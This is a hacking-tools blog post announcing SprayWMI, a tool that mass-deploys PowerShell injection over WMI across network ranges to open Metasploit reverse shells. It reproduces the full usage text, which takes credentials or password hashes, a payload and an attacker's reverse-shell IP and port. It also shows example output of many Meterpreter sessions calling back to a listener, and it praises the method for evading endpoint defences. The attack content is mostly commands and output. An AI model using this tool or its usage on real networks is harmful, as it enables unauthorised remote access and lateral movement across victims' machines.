• Skip to main content
  • Skip to primary sidebar
  • Skip to footer
  • Home
  • About Darknet
  • Hacking Tools
  • Popular Posts
  • Darknet Archives
  • Contact Darknet
    • Advertise
    • Submit a Tool
Darknet – Hacking Tools, Hacker News & Cyber Security

Darknet - Hacking Tools, Hacker News & Cyber Security

Darknet is your best source for the latest hacking tools, hacker news, cyber security best practices, ethical hacking & pen-testing.

SprayWMI – PowerShell Injection Mass Spray Tool

December 8, 2015

Views: 4,622

SprayWMI is a method for mass spraying Unicorn PowerShell injection to CIDR notations. It’s an alternative to traditional, ‘noisy’ tools which leave something on the disk like PsExec, smbexec, winexe and so on.

SprayWMI - Unicorn PowerShell Injection Mass Spray Tool

These tools have worked really well, however, they are fairly noisy creating a service and touching disk which will trigger modern defense tools such as Bit9 and other tools that detect rogue binaries on systems. Even using something like the standard psexec module in Metasploit nowadays will cause Windows Security Essentials to flag the service exe that gets created.

Using WMI (Windows Management Instrumentation) gives us another path to execute code and commands on remote systems without touching disk or creating a new service. We also have the ability to use the actual password or the hash.

The initial WMI communications use TCP port 135 and afterwards a random port is negotiated. Since WMI and RPC services are often used for remote administration and administration tools, it is common to see these ports open and unfiltered on internal networks.

It’ll literally be raining shells after you fire this tool up.

Usage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
python spraywmi.py
 
__   __   __                        
/__` |__) |__)  /\  \ / |  |  |\/| |
.__/ |    |  \ /~~\  |  |/\|  |  | |
 
 
Written by: David Kennedy @ TrustedSec
 
                                    
SprayWMI is a method for mass spraying unicorn powershell injection to CIDR notations.
 
Flag descriptions:
 
DOMAIN - domain you are attacking - if its local, just specify workgroup
USERNAME - username to authenticate on the remote Windows system
PASSWORD - password or password hash lm:ntlm to use on the remote Windows system
CIDR_RANGE,CIDR_RANGE or ips.txt - you can specify a single ip, a CIDR range (192.168.1.1/24) or multiple CIDRs such as 192.168.1.1/24,192.168.2.1/24. You can also specify a file (ex: file.txt) which has single IP addresses on a new line.
METASPLOIT_PAYLOAD - this is the payload you want to use example: windows/meterpreter/reverse_tcp
REVERSE_SHELL_IP - this is the IP address of your attacker machine that you want to create a listener or use an already established listener
REVERSE_SHELL_PORT - port to connect back on for the reverse
OPTIONAL: NO - specify no if you do not want to create a listener - this is useful if you already have a listener established. If you do not specify a value here, it will automatically create a listener for you.
 
Usage: python spraywmi.py <domain> <username> <password or hash lm:ntlm> <cidr_range,cidr_range or ips.txt> <metasploit_payload> <reverse_shell_ip> <reverse_shell_port> <optional: no>

Example

It’s really fast, finishing a class C in around 4 seconds.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[*] Generating shellcode through unicorn, could take a few seconds...
[*] Launching the listener in the background...
[*] Waiting for the listener to start first before we continue forward...
[*] Be patient, Metaploit takes a little bit to start...
[*] Sweeping network for ports that are open first, then moving through... Be patient.
[*] Launching WMI spray against IP: 192.168.90.1 - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: 192.168.96.20 - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: 192.168.96.21 - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: 192.168.96.22 - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: 192.168.96.23 - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: 192.168.96.242 - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: 192.168.1.13 - you should have a shell in the background. Once finished, shell will spawn
[*] Spraying is still happening in the background, shells should arrive as they complete.
[*] Interacting with Metasploit...
 
msf exploit(handler) >
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to 192.168.90.174
[*] Meterpreter session 1 opened (192.168.47.24:443 -> 192.168.90.174:49868) at 2015-10-13 04:33:55 -0400
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to 192.168.90.203
[*] Meterpreter session 2 opened (192.168.47.24:443 -> 192.168.90.203:51333) at 2015-10-13 04:33:59 -0400
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to 192.168.90.184
[*] Meterpreter session 3 opened (192.168.47.24:443 -> 192.168.90.184:61218) at 2015-10-13 04:34:02 -0400
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to 192.168.90.204
[*] Meterpreter session 4 opened (192.168.47.24:443 -> 192.168.90.204:54219) at 2015-10-13 04:34:06 -0400
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to 192.168.90.175
[*] Meterpreter session 5 opened (192.168.47.24:443 -> 192.168.90.175:54210) at 2015-10-13 04:34:10 -0400
[*] Meterpreter session 13 opened (192.168.47.24:443 -> 192.168.90.248:53657) at 2015-10-13 04:34:31 -040
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to 192.168.90.39
[*] Meterpreter session 14 opened (192.168.47.24:443 -> 192.168.90.39:60451) at 2015-10-13 04:34:35 -0400
[*] Encoded stage with x86/shikata_ga_nai

You can download SprayWMI here:

spraywmi-master.zip

Or read more here.

Related Posts:

  • TREVORspray - Credential Spray Toolkit for Azure,…
  • SetupHijack - Installer and Updater Race Condition…
  • NetExec - Network Execution Toolkit for Windows and…
  • An Introduction To Web Application Security Systems
  • RustRedOps - Rust Native Offensive Toolkit…
  • PsMapExec - PowerShell Command Mapping for Lateral Movement
Share
Tweet
Share
Buffer
WhatsApp
Email

Filed Under: Exploits/Vulnerabilities, Hacking Tools, Windows Hacking Tagged With: powershell, Python



Primary Sidebar

Search Darknet

  • Email
  • Facebook
  • LinkedIn
  • RSS
  • Twitter

Advertise on Darknet

Latest Posts

Systemic Ransomware Events in 2025 - How Jaguar Land Rover Showed What a Category 3 Supply Chain Breach Looks Like

Systemic Ransomware Events in 2025 – How Jaguar Land Rover Showed What a Category 3 Supply Chain Breach Looks Like

Views: 2,170

Jaguar Land Rover’s prolonged cyber outage in 2025 turned what would once have been a “single … ...More about Systemic Ransomware Events in 2025 – How Jaguar Land Rover Showed What a Category 3 Supply Chain Breach Looks Like

SmbCrawler - SMB Share Discovery and Secret-Hunting

SmbCrawler – SMB Share Discovery and Secret-Hunting

Views: 2,039

SmbCrawler is a credentialed SMB spider that takes domain credentials and a list of hosts, then … ...More about SmbCrawler – SMB Share Discovery and Secret-Hunting

Heisenberg Dependency Health Check - GitHub Action for Supply Chain Risk

Heisenberg Dependency Health Check – GitHub Action for Supply Chain Risk

Views: 1,335

Heisenberg Dependency Health Check is a GitHub Action that inspects only the new or modified … ...More about Heisenberg Dependency Health Check – GitHub Action for Supply Chain Risk

Dark Web Search Engines in 2025 - Enterprise Monitoring, APIs and IOC Hunting

Dark Web Search Engines in 2025 – Enterprise Monitoring, APIs and IOC Hunting

Views: 3,191

Dark web search engines have become essential for enterprise security teams that need early … ...More about Dark Web Search Engines in 2025 – Enterprise Monitoring, APIs and IOC Hunting

mcp-scan - Real-Time Guardrail Monitoring and Dynamic Proxy for MCP Servers

mcp-scan – Real-Time Guardrail Monitoring and Dynamic Proxy for MCP Servers

Views: 1,187

mcp-scan is a security tool from Invariant Labs that can run as a static scanner or as a dynamic … ...More about mcp-scan – Real-Time Guardrail Monitoring and Dynamic Proxy for MCP Servers

Initial Access Brokers (IAB) in 2025 - From Dark Web Listings to Supply Chain Ransomware Events

Initial Access Brokers (IAB) in 2025 – From Dark Web Listings to Supply Chain Ransomware Events

Views: 1,082

Initial Access Brokers (IABs) have moved from niche forum actors to central wholesalers in the … ...More about Initial Access Brokers (IAB) in 2025 – From Dark Web Listings to Supply Chain Ransomware Events

Topics

  • Advertorial (28)
  • Apple (46)
  • Cloud Security (8)
  • Countermeasures (232)
  • Cryptography (85)
  • Dark Web (6)
  • Database Hacking (89)
  • Events/Cons (7)
  • Exploits/Vulnerabilities (433)
  • Forensics (64)
  • GenAI (13)
  • Hacker Culture (10)
  • Hacking News (237)
  • Hacking Tools (709)
  • Hardware Hacking (82)
  • Legal Issues (179)
  • Linux Hacking (74)
  • Malware (241)
  • Networking Hacking Tools (352)
  • Password Cracking Tools (107)
  • Phishing (41)
  • Privacy (219)
  • Secure Coding (119)
  • Security Software (235)
  • Site News (51)
    • Authors (6)
  • Social Engineering (37)
  • Spammers & Scammers (76)
  • Stupid E-mails (6)
  • Telecomms Hacking (6)
  • UNIX Hacking (6)
  • Virology (6)
  • Web Hacking (384)
  • Windows Hacking (171)
  • Wireless Hacking (45)

Security Blogs

  • Dancho Danchev
  • F-Secure Weblog
  • Google Online Security
  • Graham Cluley
  • Internet Storm Center
  • Krebs on Security
  • Schneier on Security
  • TaoSecurity
  • Troy Hunt

Security Links

  • Exploits Database
  • Linux Security
  • Register – Security
  • SANS
  • Sec Lists
  • US CERT

Footer

Most Viewed Posts

  • Brutus Password Cracker Hacker – Download brutus-aet2.zip AET2 (2,431,669)
  • Darknet – Hacking Tools, Hacker News & Cyber Security (2,174,096)
  • Top 15 Security Utilities & Download Hacking Tools (2,097,549)
  • 10 Best Security Live CD Distros (Pen-Test, Forensics & Recovery) (1,200,346)
  • Password List Download Best Word List – Most Common Passwords (934,662)
  • wwwhack 1.9 – wwwhack19.zip Web Hacking Software Free Download (777,385)
  • Hack Tools/Exploits (674,309)
  • Wep0ff – Wireless WEP Key Cracker Tool (531,421)

Search

Recent Posts

  • Systemic Ransomware Events in 2025 – How Jaguar Land Rover Showed What a Category 3 Supply Chain Breach Looks Like November 26, 2025
  • SmbCrawler – SMB Share Discovery and Secret-Hunting November 24, 2025
  • Heisenberg Dependency Health Check – GitHub Action for Supply Chain Risk November 21, 2025
  • Dark Web Search Engines in 2025 – Enterprise Monitoring, APIs and IOC Hunting November 19, 2025
  • mcp-scan – Real-Time Guardrail Monitoring and Dynamic Proxy for MCP Servers November 17, 2025
  • Initial Access Brokers (IAB) in 2025 – From Dark Web Listings to Supply Chain Ransomware Events November 12, 2025

Tags

apple botnets computer-security darknet Database Hacking ddos dos exploits fuzzing google hacking-networks hacking-websites hacking-windows hacking tool Information-Security information gathering Legal Issues malware microsoft network-security Network Hacking Password Cracking pen-testing penetration-testing Phishing Privacy Python scammers Security Security Software spam spammers sql-injection trojan trojans virus viruses vulnerabilities web-application-security web-security windows windows-security Windows Hacking worms XSS

Copyright © 1999–2026 Darknet All Rights Reserved · Privacy Policy